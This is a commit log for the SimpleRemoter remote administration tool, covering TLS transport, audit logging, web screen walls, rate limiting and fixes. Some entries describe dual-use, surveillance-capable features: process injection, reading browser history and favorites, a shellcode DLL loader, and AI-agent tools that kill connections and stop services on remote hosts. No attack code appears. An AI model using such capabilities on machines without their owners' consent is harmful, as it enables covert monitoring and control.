Add list_network_connections and kill_network_connection on top of the
connection manager sub-connection protocol. The kill path matches the
original 110-byte record instead of rebuilding addresses, supports a dry
run, refuses UDP/IPv6 targets, and verifies that the quadruple really
disappeared instead of assuming success.

Add a host_* family backed by the machine manager protocol: ten read
tools covering every tab of the host management dialog, and four
recoverable write tools for process freeze/thaw, window restore/hide/
maximize/minimize, service start/stop/pause/continue/restart, and
scheduled task run/stop. Every write re-reads the snapshot before sending
and re-checks afterwards, reporting -32009 for stale targets rather than
acting blindly. The family is gated by McpMachine, the risky subset by
McpMachineDangerous, and writes additionally require read-only mode to
be off.

Route managed sub-connections from MessageHandle and OfflineProc, keep
the single-in-flight rule by sharing the pending table with a request
kind, and move the shared JSON/lock/encoding helpers into McpInternal so
both tool families use one implementation. Settings dialog, design docs
and en_US/zh_TW/de_DE translations are updated accordingly.

Co-Authored-By: deepseek-flash
2026-10-21 20:01:41 +02:00
yuanyuanxianganddeepseek-flash 6c8336b497 Fix: Repair task actions and harden machine management
Scheduled task actions never worked end to end: the server built task
packets with Unicode-style lengths in a MultiByte build, the client had
no dispatch for the run/stop/delete/create commands, and the directory
column was derived by replacing every occurrence of the task name, which
misplaced tasks whose name also appeared in a parent folder. Packets are
now assembled with narrow strings, the four commands are routed to
RunOrStopTask/DelTask/CreateTask, and the folder is taken from the task
path suffix only. The task list reply is trimmed to its real length
instead of sending the whole 32 KB scratch buffer.

On the client side, thawing a process resumed a single thread, the
inject output path was copied from a narrow string using a wide-character
length, and an empty window list dereferenced a NULL buffer. The service
list leaked its enumeration block and one service handle per skipped
entry, and the description was copied without a bound. Service start and
stop now validate every handle, initialize the status structure, and stop
synchronously before the start that follows a restart request, which
previously always failed because the service was still in STOP_PENDING.
Deleting a process used to test only the low byte of the PID and leaked
the process handle on early exits, and a failed path conversion kept the
previous process image name. The IE history timestamp wrote minutes and
seconds in the wrong order, the favorites reader queried and closed an
uninitialized registry key, software enumeration never closed its subkeys,
and the task scheduler objects were not released after use.

The network state list now frees the module, snapshot, and extended
tables on every exit path, uses HeapFree for tables allocated on the
process heap, and no longer calls an export that may be missing. Growth
failures everywhere keep the original buffer instead of overwriting the
pointer, the hosts reader rejects an invalid file size, and the COM task
walk releases definitions and folders.

Co-Authored-By: deepseek-flash
2026-10-20 21:48:13 +02:00
yuanyuanxianganddeepseek-flash c208b7368e Fix: Format net-state addresses as narrow strings on the client
The client is a MultiByte build, so the destination buffers are char[]
and _T("%s:%u") expands to an ANSI format that expects a char pointer.
The code nevertheless converted inet_ntoa() output to WCHAR* first, and
the ANSI %s stopped at the zero byte that follows the first wide
character. Every address therefore collapsed to its leading digit, so
192.168.0.55:443 was shown as 1 and 0.0.0.0:80 as 0 in the local and
remote address columns of the network connections tab.

Write the address and port straight into the char buffers with
sprintf_s in all four enumeration paths (legacy and Vista APIs, TCP and
UDP), and drop the now unused char2wchar_t helper.

Co-Authored-By: deepseek-flash
2026-10-20 21:24:47 +02:00
yuanyuanxianganddeepseek-flash 15a50db0a7 Fix: Keep IPv4 address bytes in network order for connection list
iphlpapi stores the address in network byte order inside the memory of
the DWORD, it is not a host-order integer. For 192.168.0.55 the DWORD
value on x86 is 0x3700A8C0 while its bytes are C0 A8 00 37, so shifting
the value by 24/16/8/0 produced 37 00 A8 C0 and the dialog rendered
"55.0.168.192" for both the local and remote address.

Copy the DWORD with memcpy instead, which preserves the memory layout
that inet_ntop and SetTcpEntry both expect. GetAddr4 is changed the
same way, otherwise a forced disconnect would rebuild a wrong address
and miss the target connection.

Co-Authored-By: deepseek-flash
2026-10-20 21:15:45 +02:00
yuanyuanxianganddeepseek-flash ca35e6e26f Feature: Add menu icons for the advanced and disclaimer entries
Add four 16x16 bitmaps and wire them through the existing m_bmOnline
table. The three entries under the "Advanced" menu had no icon at all,
and the disclaimer entry shared the help question mark with "what is
this", so the two were indistinguishable.

- desktop quality levels: a monitor with three ascending level bars in
  the screen
- screen preview levels: a thumbnail card with a sun, a folded corner
  and layered hills
- file transfer speed: a half-circle gauge with a red needle
- disclaimer: a document with a folded corner and an amber exclamation
  badge, so it no longer looks like the help entry

Grow the bitmap array to 75 entries and reserve resource IDs 412-415.

Co-Authored-By: deepseek-flash
2026-10-20 21:13:05 +02:00
yuanyuanxiang 679136e73e Release v1.4.1 2026-10-20 15:00:35 +02:00
yuanyuanxiang b637c94e24 Feature: Allow user to select an installation location for client 2026-10-20 13:12:16 +02:00
yuanyuanxianganddeepseek-flash f76cd79bb0 Fix: Renew expired licenses from today and report the actual expiry
Preset renewal stored its target date as the old expiry plus the entered
days, while the authorization actually issued to the client is always
today plus a day count. For a license that had already expired, the
preset date was therefore in the past: SendPendingRenewal clamped the
day count to one, the client received a one-day license starting today,
but the renewal tip and the logs still printed the stale preset date.
The result was a message such as "renewed until 2026-05-30" while the
license really ran until tomorrow.

Presetting a renewal now bases the new date on today when the license
has already expired, and on the original expiry date otherwise, which
matches the one-day-per-day extension admins expect for live licenses.
The renewal dialog and the success prompt state which base was used, so
the computed date is never ambiguous. Renewal tips and both logging
paths (heartbeat-driven SendPendingRenewal and client-requested
GenerateRenewalInfo) now print the date that was actually issued, which
also corrects legacy preset records whose stored date has already
passed.

Co-Authored-By: deepseek-flash
2026-10-19 15:15:49 +02:00
yuanyuanxianganddeepseek-flash 39c8daa9b0 Fix: Keep the audit log open across WebSocket reconnects
Hiding the browser tab while the audit log was open closed the socket,
because the visibility handler treats only the remote screen, terminal
and wall pages as streaming pages. Returning to the tab reconnected the
socket, and the onopen restore path took its catch-all branch, which
navigated to the device list. The audit log therefore vanished whenever
the browser was minimized.

The catch-all branch now leaves the active page alone when it is the
audit log, and only refreshes the device list in the background. Every
other page keeps the previous behaviour: the login page advances with a
cached token, and the terminal page falls back to the device list
because its session died with the socket. Audit results already rendered
stay on screen, so the admin can keep reading without re-querying.

Co-Authored-By: deepseek-flash
2026-10-19 10:39:36 +02:00
yuanyuanxianganddeepseek-flash cd4f3675fd Improve: Replace native browser prompts with themed in-app dialogs
Native alert() and confirm() render their buttons in the browser or OS
locale, so on a German system prompts such as the Clear Screen Wall
confirmation showed German labels that disagreed with the rest of the
web UI. Both are now served by a single themed modal that reuses the
logout confirmation styling: an info variant with one OK button for
notices, and a danger variant with Cancel/OK for destructive actions.

The alert helper is fire-and-forget, while the confirm helper returns a
Promise, so the two call sites that need an answer (clearWall and
deleteUser) are now async. Dialog title and message are written with
textContent so device names, user names and server error strings can
never be interpreted as markup. A pending dialog is resolved as
cancelled when another one supersedes it, keeping callers from hanging,
and clicking the backdrop or pressing Escape closes the dialog. Remote
keyboard forwarding now ignores keys while a dialog is open.

Co-Authored-By: deepseek-flash
2026-10-19 10:27:09 +02:00
yuanyuanxianganddeepseek-flash bbb3d8c2fa Fix: Recover proxied client IPs and fit audit filters on phones
The MFC web server now resolves the real client address from the
WebSocket upgrade request when the TCP peer is loopback, so audit records
and login rate limiting stop reporting the reverse proxy's 127.0.0.1.
X-Forwarded-For is preferred over X-Real-IP because its last hop is the
address the local proxy appended; a client-supplied header list cannot
forge it. Forwarded headers are ignored for non-loopback peers so a
client connecting directly over the internet cannot spoof its identity
or rotate addresses to bypass throttling. FRP deployments can keep using
the existing Proxy Protocol v2 support instead.

Collapse the audit log search conditions behind a toolbar toggle that
starts closed and switches to an accent-colored "Hide filters" state
while the panel is open. On portrait phones the panel uses one control
per row, and From/To move their border and padding onto a wrapper so the
iOS WebKit datetime-local width miscalculation cannot overflow the
viewport.

Co-Authored-By: deepseek-flash
2026-10-19 10:05:58 +02:00
yuanyuanxianganddeepseek-flash ca671d6453 Feature: In-memory web audit log for the MFC server
Add a process-local security audit trail to the Windows server's web
console, mirroring the Go server's event names and reply shape. The ring
keeps the most recent 1000 events since process start and is never
persisted.

- New query_audit WebSocket command, admin-only, with time/event/actor/
  IP/device/keyword/warn-only filters and pagination; the reply is the
  audit_result payload the existing Audit Log page already understands.
  The challenge advertises caps.auditLog so browsers enable the button.
- Record logins (success, failure, throttling, salt probes), WebSocket
  connect/close, screen and terminal session start/stop/denials,
  clipboard transfers (byte counts only), RDP resets, and admin user
  mutations.
- Repeated failed logins and username probes are de-duplicated per
  connection so scanners cannot flood the ring.
- Audit writes never hold m_ClientsMutex: disconnect paths snapshot the
  client identity before the map entry is erased, and offline-device
  stops are audited after the clients lock is released.

Co-Authored-By: deepseek-flash
2026-10-18 19:16:17 +02:00
yuanyuanxianganddeepseek-flash a522424491 Feature: Security audit logging with admin web query page
Add a dedicated security audit trail to the Go server. Login attempts,
authorization denials, WebSocket lifecycle, remote screen and terminal
sessions, clipboard operations, device authentication and admin mutations
now emit stable JSON-line events (audit=true, event=<name>) to a separate
logs/audit.log, mirrored to server.log. The path is configurable through
YAMA_AUDIT_LOG and the separate file can be switched off. Records never
contain passcodes, password hashes, tokens or clipboard contents, and
untrusted string fields are stripped of control characters and truncated
so they cannot forge log lines.

Expose the trail to administrators through a query_audit WebSocket command
and an Audit Log page in the web UI. The page filters by time range, event
(exact or prefix), actor, IP, device id, keyword and warning level, pages
newest-first, and stays hidden unless the server advertises the auditLog
capability, so older C++ servers degrade cleanly. Each query scans at most
the newest 32 MB of the current file to bound latency, records itself as
admin.audit.query, and tolerates torn or non-audit lines.

Add unit tests for event emission and redaction, query filtering, paging,
malformed lines, missing or disabled audit files, and handler
authorization.

Co-Authored-By: deepseek-flash
2026-10-18 18:44:17 +02:00
yuanyuanxianganddeepseek-flash b1ddec1b8a Feature: Offline device history with delete and remote uninstall
Persist every device that has ever logged in to the Go server in a small
JSON store (devices.json, overridable with YAMA_DEVICES_FILE and capped by
YAMA_DEVICES_MAX, default 1000 newest). The store follows the users.json
convention: atomic temp-file write with fsync and rename, a 500 ms debounce
for bursts of reconnects, first_seen preserved across logins, and pruning
that evicts offline records before devices that are still connected.
Devices connected at shutdown are stamped offline before the final flush so
last_seen stays accurate across restarts.

The server advertises an offlineDevices capability and device_list now
appends historical devices that are not online, marked with online:false and
last_seen. The web UI shows an Offline checkbox after Total/Showing (state
kept in localStorage), renders offline cards dimmed and dashed, and always
lists them in the screen-wall sidebar. Older servers without the capability
keep the online-only list.

Grid and List cards gain a delete button after the terminal button, admin
only, behind a confirmation dialog. Deleting an offline device removes its
history record; deleting an online device first sends the single-byte
TOKEN_UNINSTALL command (matching the MFC OnOnlineUninstall flow) and then
removes the record too, so the device does not come back as a dead offline
entry. The agent's own disconnect then runs the existing cleanup path:
screen and terminal sub-connections are closed, the hub entry is removed,
and browsers receive device_offline to release their watch sets, wall
sessions, and stream references. Wall mode exposes no delete action.

Tests cover history persistence/pruning/recovery, offline ordering, the
device_list merge, and all three delete outcomes (offline removal, online
uninstall with a single 0x3F byte, and viewer rejection).

Co-Authored-By: deepseek-flash
2026-10-18 17:54:30 +02:00
yuanyuanxianganddeepseek-flash 1922f87dd2 Feature: Multi-device screen wall on the Go server
Bring the Go web backend up to parity with the MFC server's screen wall.
A browser tab can now stream several devices over one WebSocket: the
single `watching` field becomes a per-connection watch set guarded by the
hub mutex, capped at 32 devices per socket. The challenge advertises
`caps.multiWatch` and `caps.keyframeRequest`, binary frames stay keyed by
the low 32 bits of the device ID, and connect/disconnect replies echo the
device id and request id so the wall can route concurrent responses.

Input commands (mouse, key, clipboard, rdp_reset) resolve their target
from the watch set: an explicit id must be a current subscription, and an
absent id is accepted only while exactly one device is watched. Legacy
frontends that do not send `multiWatch` keep replace-all semantics, so a
repeated device switch cannot grow the set without bound. Offline
devices are removed from every watch set, and teardown is computed from a
snapshot taken outside the hub lock to avoid re-entrant locking.

Add the `keyframe` command: it replays the cached IDR, then asks the
device to emit a fresh one, rate-limited to one request per device per
second. This exposed a Go-only corruption bug: the client answers the
request with TOKEN_KEYFRAME (134), which the dispatcher treated as a
no-op. That token only appears on forced IDRs because the client's GOP is
effectively infinite, so the dropped IDR left the browser decoding
P-frames against a reference chain it never received, producing
persistent garbling. Relay it as a keyframe instead. Also drop the
cached IDR when the resolution changes, mirroring the C++ server, so a
late joiner cannot receive an old-geometry keyframe.

Add tests for the watch-set transitions and for relaying TOKEN_KEYFRAME.

Co-Authored-By: deepseek-flash
2026-10-18 11:51:28 +02:00
yuanyuanxianganddeepseek-flash 8eab26c1f6 Feature: Web screen wall for multi-device live monitoring
Add a third view to the web UI, the screen wall, which shows several
devices at once in one tab with 1x1 / 2x2 / 3x3 / 4x4 / 5x5 layouts and a
device sidebar on the left. Tiles are monitoring-only; clicking one
enlarges that device into the existing single-screen page for control, and
Back returns to the wall. The same device can be added several times: all
tiles of one device share a single decoder and a single stream.

The wall decodes at most 9 streams on desktop and 4 on touch devices.
Tiles beyond the budget keep receiving frames but have their decoder
closed and show the last frame plus a Paused badge; they are promoted
automatically when a live tile goes away. Subscriptions are reference
counted on the client (streams map with owner sets), so a stream is only
connected on the 0 -> 1 transition and disconnected on 1 -> 0, and the
wall and the single-screen page can share one device without tearing the
stream down.

Server side, WebClient now holds a set of watched devices instead of a
single id. A new multiWatch command flag selects set semantics, while
clients without it keep the old replace-all behaviour, so an old frontend
against the new server is unchanged. connect and disconnect responses echo
id and req so the frontend can route them, input commands carry an id and
are resolved against the watch set (dropped when the set has several
devices and no id), and the per-client watch set is capped at 32.

For fast recovery after a pause or when joining late, the server caches
each device's raw IDR payload and replays it on connect and on a new
keyframe command, then asks the client to force a new IDR. The client gets
COMMAND_SCREEN_KEYFRAME_REQ = 169 and an atomic request flag that is only
cleared after an IDR actually came out of the encoder, so a failed capture
or EAGAIN does not lose the request. The frontend retries the keyframe
request up to three times; an old client that ignores the command simply
recovers on the next natural GOP.

Also fix the keyframe cache double wrapping: BroadcastH264Frame used to
cache the full packet header and HandleConnect wrapped it again. The cache
now stores data + 9, len - 9 and every sender wraps it through
BuildFramePacket, and the cache is cleared on cold start and on resolution
change. StopRemoteDesktop is always called outside m_ClientsMutex, with
the ids collected under the lock first.

Co-Authored-By: deepseek-flash
2026-10-18 11:03:17 +02:00
yuanyuanxianganddeepseek-v4-pro 04f4eb9947 Fix: share web login session across browser tabs
The login token and role were stored in sessionStorage, which is
isolated per tab, so opening a second tab forced a fresh password
login. Switch every token/role read and write to localStorage so all
tabs on the same origin share the session and a new tab auto-resumes
it on load. Expiry (device_list ok:false) and explicit logout still
clear it as before.

Co-Authored-By: deepseek-v4-pro
2026-10-17 22:44:50 +02:00
yuanyuanxianganddeepseek-v4-pro 5cea1167be Feature: Web remote desktop phone IME input box ("I")
Add an "I" button to the mobile shortcut bar that opens a chat-style
input box pinned above the virtual keyboard. Text is delivered to the
remote through the existing clipboard bridge (clipboard_set + synthetic
Ctrl+V); an empty box turns Enter/Backspace into remote Enter/Backspace
so the phone can submit and edit text in the focused window. The box
soft-wraps and auto-grows up to four lines.

The box is a <textarea>, so the desktop key-forwarding handlers now skip
TEXTAREA targets as well, which stops an empty-box Backspace from being
forwarded twice (once by imeBackspace, once by the document handler).

Co-Authored-By: deepseek-v4-pro
2026-10-17 22:06:46 +02:00
yuanyuanxianganddeepseek-v4-pro 0c04f7516b Feature: Web remote desktop bidirectional text clipboard sync
Add keyboard-shortcut (Ctrl+C / Ctrl+X / Ctrl+V) text clipboard transfer
between the browser and the remote desktop, reusing the clipboard protocol
that already exists in the native viewer (COMMAND_SCREEN_GET_CLIPBOARD=24,
COMMAND_SCREEN_SET_CLIPBOARD=25, TOKEN_CLIPBOARD_TEXT=118) so the client
needs no change.

Local -> remote: pressing Ctrl+V reads the browser clipboard, pushes it to
the remote clipboard (UTF-8 -> GBK, matching the client's CF_TEXT/ANSI
handling) and then synthesizes a remote Ctrl+V so the pasted text is the
newly delivered one.

Remote -> local: Ctrl+C or Ctrl+X is forwarded to the remote as usual and,
after a short delay, the remote clipboard is pulled back and written to the
browser clipboard for a later local Ctrl+V.

Both the MFC and Go servers get the same three clipboard signaling paths
(clipboard_set, clipboard_get, clipboard_text) so the shared single-page
frontend behaves identically on either backend.

Co-Authored-By: deepseek-v4-pro
2026-10-17 19:52:38 +02:00
yuanyuanxianganddeepseek-v4-pro e6b4fe3a85 Fix: reissue client_id on clone collision and harden V1 file-transfer command
撞 ID 的克隆机(同镜像 MachineGuid 相同导致 client_id 相同)此前会被服务端暂存为
替补、永远无法转正,从而不显示在主机列表。现在服务端检测到「client_id 相同但主机名
不同」时,主动下发 COMMAND_REGEN_CLIENT_ID,客户端在旧 ID 基础上掺随机 UUID 重算后
重连,以新 ID 正常上线;触发条件仅看主机名,排除 IP 漂移与纯用户名变化,避免误伤
正常重连的机器。

同时加固 V1 服务端→客户端文件传输:COMMAND_GET_FILE 指令的一次性 md5 令牌绑定登记
时的客户端源 IP(PutCmd/PopCmd 均带 peerIP),防止异常客户端冒用;并对指令包增加边界
校验(len 与 NUL 结尾),杜绝无 NUL 包导致的越界读。

Co-Authored-By: deepseek-v4-pro
2026-10-17 09:29:33 +02:00
yuanyuanxianganddeepseek-v4-pro d3a339247b Fix: reconnect after server restart without reinstalling the loader
The S_SERVER_EXIT respawn fix previously lived in test.cpp, which a
deployed TestRun.exe cannot pick up without reinstalling. Move the
reconnect decision into ClientDll::IsStoped(): when the master instance
is in S_SERVER_EXIT, report reconnectable immediately instead of waiting
for live shared instances to drain, so the already-deployed loader
reconnects against a hot-loaded DLL.

Shared instances stay connected to their own servers, preserving the
IsSharedRunning contract that the master's state change must not tear
them down.

Also guard the RUNNING_PARALLEL branch so re-entering StartClient on
reconnect spawns parallel instances once instead of duplicating them.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:36:52 +02:00
yuanyuanxianganddeepseek-v4-pro 33986f4893 Fix: shared-host respawn block and web login brand placeholder
Two unrelated fixes bundled here.

1. Client respawn (ClientDll.cpp EasyRun/Run, test.cpp Run): after a host
   is shared or transferred to another server, restarting the master
   (server A) left the host's main instance stuck, because the respawn
   loop waited on IsStoped() (g_bThreadExit && GetCount()==0), which never
   becomes true while a still-alive shared instance holds AddCount(1).
   S_SERVER_EXIT now triggers an immediate reconnect without waiting for
   shared instances; client-exit / update still waits for all instances to
   drain. Verified by 100 restart cycles.

2. Web login page (WebService.cpp): the MFC web server only substituted
   __BASE_PATH__ in index.html and left __BRAND_NAME__ as a literal token
   in the login page title/heading. Substitute it with "SimpleRemoter" to
   match the original branding and the Go server's default.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:08:42 +02:00
yuanyuanxianganddeepseek-v4-pro e5f5720867 Fix: Add missing FileManagerDlg translations to language files
FileManagerDlg.cpp still had several user-facing Chinese strings with no
entry in en_US/zh_TW/de_DE: the "invalid file handle", "no files
selected", "V2 transfer started", "V2 download request sent" and "main
connection not found" messages. Add translations for all five.

The "main connection not found" string contained a literal '=', which
CIniParser treats as the key/value delimiter, so it could never match as
a translation key. Reword it to "clientID %llu" (no '=') so the key
round-trips. The two Mprintf log lines on the V2 checksum path are
log-only and intentionally left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:54:00 +02:00
yuanyuanxianganddeepseek-v4-pro d7b49a3d06 Feat: Add whitelist action to log-list right-click menu
Adds a "白名单" item after "解除封禁" in the message-log context menu.
It extracts the IP from each selected log entry, asks for confirmation,
then adds it to the shared IPWhitelist singleton — which IOCPServer and
the DLL rate limiter already consult live — so the entry takes effect on
new connections immediately, without a restart. The whitelist is
persisted to settings\IPWhitelist the same way the Network dialog does.

- An IP already in the whitelist is reported as such and skipped.
- An IP in the IP blacklist (banned) is reported as banned and skipped,
  rather than silently removed from the blacklist.
- Menu item, confirmation, and result strings are added to the
  en_US/zh_TW/de_DE language files.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:16:33 +02:00
yuanyuanxianganddeepseek-v4-pro c85039ea0a Fix: Online-host list column-toggle leaves ghost artifact after last column
CListCtrlEx::OnEraseBkgnd (with m_bSkipEraseBkgnd) only erases the empty
area below the last item, not the horizontal strip right of the last
column (the ~20px scrollbar reserve AdjustColumnWidths always leaves).
Changing the column count via SetColumnVisible/ToggleColumnVisibility
redistributed widths but never repainted with background erase, so stale
pixels from the previous last column lingered next to the new one (e.g.
after "TLS") until a tab switch or minimize/restore forced a full redraw.

Mirror the proven OnSize needRefresh path: temporarily lift the
skip-erase flag and issue a full RedrawWindow with
RDW_ERASE|RDW_INVALIDATE|RDW_ALLCHILDREN|RDW_UPDATENOW after each
visibility change.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:03:05 +02:00
yuanyuanxianganddeepseek-v4-pro a447452521 Fix: Silence SOCKET_DLLLOADER log flood and tighten device-port logging
SOCKET_DLLLOADER (210) is the shellcode / memory-DLL loader asking the
server for the full DLL payload before it can load the client. The MFC
master console serves it via SendServerDll; the Go web device port has no
payload to hand out, so every memory-DLL client startup/reconnect fell
into the default dispatch branch and logged "Unhandled command 210",
flooding the log. Add a protocol constant and drop the command silently.

While auditing the device-port logging surface:

- Downgrade wrapTLS's per-connection hex-dump lines and the screen-spy
  "[timing]" cold-start line from Info to Debug (they fire once per TCP
  connection / screen view and are diagnostics, not operational events).

- Distinguish a sub-connection hijack attempt from a plain orphan: when a
  screen/terminal sub-conn claims a MasterID from a source IP other than
  the device's login conn, log a dedicated Warn instead of mislabeling it
  as "orphan ... unknown device".

Co-Authored-By: deepseek-v4-pro
2026-10-16 12:26:35 +02:00
yuanyuanxiang 614b03994c Fix: No permission to share/transfer a client host issue 2026-10-16 07:35:53 +02:00
yuanyuanxianganddeepseek-v4-pro 99e3bcbc6d Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)
Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-16 07:04:54 +02:00
yuanyuanxianganddeepseek-v4-pro 8f02e73b9c Fix: Refresh MCP menu checkmark after settings change
The MCP settings menu item's checkmark was set only once at startup in
CreateSolidMenu, so toggling MCP in the settings dialog left the menu stale
until restart. Update the checkmark in OnMcpSettings after the dialog closes
so it matches [settings] McpEnabled immediately.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 7651ee8602 Feat: ConnAuth HMAC verification gated by YAMA_CONN_AUTH_KEY
Verify the HMAC-SHA256 signature and timestamp of device sub-connections
(screen/terminal/file) when the YAMA_CONN_AUTH_KEY environment variable is
set. With the key set, a sub-connection whose signature or clock skew fails
is answered with a non-OK ConnAuth status and dropped; without the key the
legacy always-OK behavior is preserved.

The key is never compiled in: it is read from the environment at startup, so
no secret enters the repository. Source-IP binding in hub.BindScreenConn
remains in place as defense-in-depth.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 4ff965a2b4 Feat: White-label web UI branding for subpath deployments
When the web remote desktop is mounted under another domain's subpath
(YAMA_WEB_BASE_PATH non-empty), read the product title from
YAMA_WEB_BRAND_NAME, substitute it for the SimpleRemoter titles and
PWA manifest name, and strip the security notice and website links.
The brand name is JSON- and HTML-escaped so operator input can't
produce malformed output. Served from the domain root, the official
SimpleRemoter branding is left unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 77b688c981 Feat: Fold hostname into client ID and log clone-ID collisions
Cloned miniPC images share the same MachineGuid, so their client_id
collides and only one host appears in the list. Fold the hostname into
the V2 client-ID hash so hosts with distinct names no longer collide.
Already-persisted client IDs are unchanged: they recompute only after
the settings/client_id registry value is cleared.

Server side, when a login reuses an existing client_id but the hostname,
IP, or username differs, emit a WARN diagnostic before assigning the
connection to the standby list. Observation-only, no behavior change.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro c93f09e9ac Feat: TLS certificate menu and config dialog for the MFC server
Add a "TLS证书" item to the Extensions menu below "MCP设置" that opens a
runtime-built dialog to enable one-way TLS and set the certificate and
private-key paths. On OK it writes the [tls] Enabled/CertPath/KeyPath keys
and calls ServerTlsIdentity::Load() so the change takes effect for new
connections immediately (design doc §7.1), mirroring the existing
CMcpSettingsDlg runtime-template pattern. All new strings are wired into
the en_US / zh_TW / de_DE language files, and the menu item is gated by
HIDE_MENU_TLS_CERTIFICATE / MF_TLS_CERTIFICATE like MCP settings.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:42:52 +02:00
yuanyuanxianganddeepseek-v4-pro 96b9eea70a Feat: One-way TLS transport for the MFC server
Add optional one-way TLS to the MFC server (server/2015Remote) so the device
port can serve both TLS clients and legacy plaintext clients on the same port,
mirroring the Go server.

Server: on a connection's first bytes, sniff for a TLS ClientHello (0x16 0x03
+ handshake type 0x01). When [tls] Enabled=1 and the identity loads, hand the
socket to a short-lived blocking handshake thread (Option A) running Schannel
AcceptSecurityContext, then decrypt on recv and encrypt on send; plaintext
connections replay the sniffed bytes straight into the existing parse path, so
the plaintext code path is otherwise unchanged. The identity is loaded once
from [tls] CertPath/KeyPath as PEM + CNG (PKCS#8) — the same key pair the Go
server uses — and a missing [tls] section, an empty value, or a load failure
leaves plaintext serving intact and fail-closes any TLS ClientHello.

Also fix two transport-reliability bugs that surfaced end-to-end:
- send path: encrypt only the freshly appended plaintext tail and post a
  single IOWrite wake-up guarded by a bSendPending flag, so back-to-back small
  sends (terminal resize -> COMMAND_NEXT -> resize) no longer run concurrent
  WSASends over the same mutable buffer (client saw DecryptMessage failures,
  with WSAGetLastError() = 6001 / ERROR_DECRYPTION_FAILED);
- client Recv: keep the handshake's unconsumed tail bytes in m_raw and drain
  them before the next recv, and log the real SECURITY_STATUS on
  DecryptMessage failure instead of the stale Winsock error.

Co-Authored-By: deepseek-v4-pro
2026-10-15 13:48:27 +02:00
yuanyuanxianganddeepseek-v4-pro ca0d7626d2 Feat: One-way TLS transport for the device port
Add optional one-way TLS on the device port (6543), enabled per client via a
pinned trust anchor, so new clients encrypt their transport while legacy
plaintext clients keep working unchanged.

Server (server/go): sniff each accepted connection and wrap TLS peers
(ClientHello 0x16 0x03 + handshake type 0x01) in crypto/tls with MinVersion
TLS 1.2; everything else stays on the plaintext path. TLS is enabled only when
both YAMA_TLS_CERT and YAMA_TLS_KEY are set, and a cert/key load failure fails
startup loudly rather than silently serving plaintext.

Client (client/, Windows): Schannel one-way TLS. When the trust anchor is
present — registry value Software\<exehash>\settings\tls_cert (REG_SZ holding
the PEM), with fallback to settings.ini [settings] tls_cert or yama-ca.pem
beside the exe — every outbound connection (main + sub-connections) completes
a TLS 1.2 handshake before the app protocol and is strictly pinned to that
anchor via a chain engine with hExclusiveRoot; any handshake/cert failure is
fail-closed (no plaintext downgrade). Send uses EncryptMessage; Recv uses
DecryptMessage and reads plaintext from the stream-mode DATA segment (bufs[1])
rather than the record header.

Co-Authored-By: deepseek-v4-pro
2026-10-14 21:10:21 +02:00
yuanyuanxianganddeepseek-v4-pro 8d4c118ae6 Fix: Skip video capture when camera fails to open
CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro
2026-10-13 17:05:37 +02:00
yuanyuanxianganddeepseek-v4-pro d477cbfee9 Fix: Treat a zero MaxBufferedBytes as disabled
Consistent with the per-IP limits, a zero cap now means "no limit" instead
of closing every connection after its first byte, so a Config built from
zero values cannot wedge the listener.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:28:13 +02:00
yuanyuanxianganddeepseek-v4-pro 870a5832ea Security: Cap per-connection inbound buffer to prevent memory DoS
The protocol length field is validated to 50 MiB, but a peer that sends
bytes which never assemble into a complete packet — for example an HTTP-mask
envelope without its terminating CRLF CRLF, which Parse() waits on
indefinitely — could grow the per-connection input buffer without bound.
handleConnection now closes the connection once unparsed buffered bytes
exceed MaxBufferedBytes (default 50 MiB + 64 KiB slack, covering the largest
legitimate packet plus its mask envelope and a read chunk).

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:27:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8e0f1283c6 Security: Add per-IP connection and login rate limiting
The TCP device port is exposed directly to the public internet, so a single
host must not be able to exhaust the global connection budget, flood new
connection attempts, or brute-force the device authorization passcode.

- server: cap concurrent connections and the accept rate per source IP
  (defaults 256 concurrent / 120 per minute, overridable via
  YAMA_PERIP_MAX_CONNS and YAMA_PERIP_CONN_RATE). Rejections happen at
  accept time, before any buffer or goroutine is allocated, and a rejected
  device simply retries on its reconnect loop.
- cmd: throttle TOKEN_AUTH per source IP (120/min) and answer over-limit
  attempts with a normal failed response so clients get a definitive reply.
- web: periodically sweep the login rate-limit maps so the username-keyed
  one (which is attacker-controlled) cannot grow without bound.

Per-IP defaults are generous enough that a NAT office whose devices share
one source IP is unaffected.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:25:34 +02:00
yuanyuanxianganddeepseek-v4-pro 2de21b2b6b Fix: Bind screen/terminal sub-conns only to the device's source IP
A screen or terminal sub-connection was keyed solely by a MasterID that any
TCP peer may supply, so any internet host could claim an online device's
MasterID and bind a sub-conn in its place, hijacking the live screen stream
